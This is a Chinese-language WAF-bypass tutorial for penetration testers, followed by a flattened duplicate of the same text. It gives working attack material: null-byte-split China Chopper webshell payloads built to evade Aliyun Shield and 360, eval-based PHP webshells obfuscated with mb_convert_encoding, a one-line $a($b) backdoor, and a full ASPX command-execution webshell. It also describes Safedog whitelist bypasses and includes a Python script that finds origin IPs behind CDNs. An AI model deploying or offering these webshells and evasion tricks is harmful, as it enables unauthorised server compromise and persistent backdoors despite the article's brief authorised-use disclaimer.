我的WafBypass之道(Misc篇)
字数 1024 2025-08-29 08:31:41

WAF Bypass 技术详解(Misc篇)

0x00 前言

本文主要介绍几种实用的WAF绕过技术,包括菜刀连接拦截绕过、Webshell免杀、禁止执行程序绕过以及CDN查找原IP的方法。

0x01 Bypass 菜刀连接拦截

阿里云盾绕过案例

  1. 原始拦截数据

    @eval(base64_decode($_POST[z0]));
    
  2. 绕过方法

    • 在eval函数名后插入空字符%00%01
    • 在左括号前插入空字符
    • 对base64内容进行分段处理,在特定位置插入空字符
  3. 最终绕过payload

    a=@eval%00(base64_decode%00($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMC%01IpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%01%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==
    

360主机卫士绕过案例

在eval函数前面插入任意URL编码的字符即可绕过拦截。

0x02 Webshell免杀技术

使用mb_convert_encoding函数绕过

  1. 基本原理

    • 利用编码转换函数混淆恶意代码
    • 主机防护软件通常不会拦截编码转换函数
  2. 示例代码

    $str = base64_decode("cGhwaW5mbygpOw==");
    $str1 = mb_convert_encoding($str, "GBK");
    @eval($str1);
    
  3. 绕过效果

    • 可绕过安全狗、主机卫士、云锁等防护软件

其他推荐方案

  1. 利用404页面

    • 在正常程序中多次调用GET/POST/Cookie的代码里插入后门
    • 示例:
      //$a=$_POST['a'];
      //$b=$_POST['b'];
      $a($b);  // a=assert&b=phpinfo()
      
  2. 利用ADS流

    • 使用NTFS备用数据流隐藏Webshell
  3. 利用.user.ini

    • 通过修改.user.ini文件实现后门植入

0x03 Bypass 禁止执行程序

安全狗白名单绕过

  1. 安全狗白名单程序示例

    %windows%Microsoft.NET/Framework/v1.1.4322/aspnet_wp.exe
    %windows%Microsoft.NET/Framework/v1.1.4322/csc.exe
    %windows%Microsoft.NET/Framework/v1.1.4322/vbc.exe
    ...
    
  2. 绕过方法一:利用白名单程序作为参数

    StartInfo.Arguments = @"/'C:/Windows/Microsoft.NET/Framework/v1.1.4322/vbc.exe' " + argm.Value;
    
  3. 绕过方法二:利用Windows文件名特性

    • 上传名为vsjitdebugger.exee的cmd程序
    • 利用安全狗不完全匹配的特性绕过

执行CMD小马示例

<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<script Language="c#" runat="server">
protected void FbhN(object sender,EventArgs e){
    try{
        Process ahAE=new Process();
        ahAE.StartInfo.FileName=path.Value;
        ahAE.StartInfo.Arguments=argm.Value;
        ahAE.StartInfo.UseShellExecute=false;
        ahAE.StartInfo.RedirectStandardInput=true;
        ahAE.StartInfo.RedirectStandardOutput=true;
        ahAE.StartInfo.RedirectStandardError=true;
        ahAE.Start();
        string Uoc=ahAE.StandardOutput.ReadToEnd();
        Uoc=Uoc.Replace("\r\n","<br>");
        tnQRF.Visible=true;
        tnQRF.InnerHtml="<hr width=\"100%\" noshade/><pre>"+Uoc+"</pre>";
    }catch(Exception error){
        Response.Write(error.Message);
    }
}
</script>

0x04 Bypass CDN查找原IP

方法一:使用国外多地Ping

  1. 收集偏门国家的DNS服务器
  2. 使用nslookup查询目标域名
  3. 比较不同DNS返回的结果

自动化脚本实现

#!/usr/bin/env python
# -*- encoding: utf-8 -*-
import re
import sys
import time
import threading
import dns.resolver

class Bypass_CDN:
    def __init__(self,domain,dns_dict):
        self.domain = domain
        self.myResolver = dns.resolver.Resolver()
        self.dns_list = set([d.strip() for d in open(dns_dict)])
        self.good_dns_list,self.result_ip = set(),set()
    
    def test_dns_server(self,server):
        self.myResolver.lifetime = self.myResolver.timeout = 2.0
        try:
            self.myResolver.nameservers = [server]
            answer = self.myResolver.query('google-public-dns-a.google.com')
            if answer[0].address == '8.8.8.8':
                self.good_dns_list.add(server)
        except: pass
    
    def load_dns_server(self):
        threads = []
        for i in self.dns_list:
            threads.append(threading.Thread(target=self.test_dns_server,args=(i,)))
        for t in threads: t.start()
        while True:
            if len(threading.enumerate()) < len(self.dns_list) / 2: break
            else: time.sleep(1)
        for j in threads: j.join()
    
    def ip(self,dns_server):
        self.myResolver.nameservers = [dns_server]
        try:
            result = self.myResolver.query(self.domain)
            for i in result: self.result_ip.add(str(i.address))
        except: pass
    
    def run(self):
        self.load_dns_server()
        threads = []
        for i in self.good_dns_list:
            threads.append(threading.Thread(target=self.ip,args=(i,)))
        for t in threads: t.start()
        while True:
            if len(threading.enumerate()) < len(self.good_dns_list) / 2: break
            else: time.sleep(1)
        for j in threads: j.join()
        for i in self.result_ip: print i

if __name__ == '__main__':
    dns_dict = 'foreign_dns_servers.txt'
    bypass = Bypass_CDN(sys.argv[1],dns_dict)
    bypass.run()

其他方法

  1. DNS历史记录查询

    • 使用Rapid7的DNS解析记录库检索历史记录
    • 检查NS/TXT/MX记录
  2. 服务器主动连接

    • 上传图片等资源让服务器主动连接你的服务器
    • 检查访问日志获取真实IP
  3. 邮件服务器探测

    • 通过注册等方式让目标发送邮件
    • 检查邮件头获取邮件服务器IP
    • 扫描邮件服务器所在网段

0x05 总结

本文介绍了多种实用的WAF绕过技术,包括:

  1. 通过插入特殊字符绕过菜刀连接拦截
  2. 利用编码转换函数实现Webshell免杀
  3. 利用白名单和Windows特性绕过程序执行限制
  4. 多种方法查找CDN背后的真实IP

这些技术在实际渗透测试中具有很高的实用价值,但请注意应在合法授权范围内使用。

WAF Bypass 技术详解(Misc篇) 0x00 前言 本文主要介绍几种实用的WAF绕过技术,包括菜刀连接拦截绕过、Webshell免杀、禁止执行程序绕过以及CDN查找原IP的方法。 0x01 Bypass 菜刀连接拦截 阿里云盾绕过案例 原始拦截数据 : 绕过方法 : 在eval函数名后插入空字符 %00 或 %01 在左括号前插入空字符 对base64内容进行分段处理,在特定位置插入空字符 最终绕过payload : 360主机卫士绕过案例 在eval函数前面插入任意URL编码的字符即可绕过拦截。 0x02 Webshell免杀技术 使用mb_ convert_ encoding函数绕过 基本原理 : 利用编码转换函数混淆恶意代码 主机防护软件通常不会拦截编码转换函数 示例代码 : 绕过效果 : 可绕过安全狗、主机卫士、云锁等防护软件 其他推荐方案 利用404页面 : 在正常程序中多次调用GET/POST/Cookie的代码里插入后门 示例: 利用ADS流 : 使用NTFS备用数据流隐藏Webshell 利用.user.ini : 通过修改.user.ini文件实现后门植入 0x03 Bypass 禁止执行程序 安全狗白名单绕过 安全狗白名单程序示例 : 绕过方法一:利用白名单程序作为参数 绕过方法二:利用Windows文件名特性 上传名为 vsjitdebugger.exee 的cmd程序 利用安全狗不完全匹配的特性绕过 执行CMD小马示例 0x04 Bypass CDN查找原IP 方法一:使用国外多地Ping 收集偏门国家的DNS服务器 使用nslookup查询目标域名 比较不同DNS返回的结果 自动化脚本实现 其他方法 DNS历史记录查询 : 使用Rapid7的DNS解析记录库检索历史记录 检查NS/TXT/MX记录 服务器主动连接 : 上传图片等资源让服务器主动连接你的服务器 检查访问日志获取真实IP 邮件服务器探测 : 通过注册等方式让目标发送邮件 检查邮件头获取邮件服务器IP 扫描邮件服务器所在网段 0x05 总结 本文介绍了多种实用的WAF绕过技术,包括: 通过插入特殊字符绕过菜刀连接拦截 利用编码转换函数实现Webshell免杀 利用白名单和Windows特性绕过程序执行限制 多种方法查找CDN背后的真实IP 这些技术在实际渗透测试中具有很高的实用价值,但请注意应在合法授权范围内使用。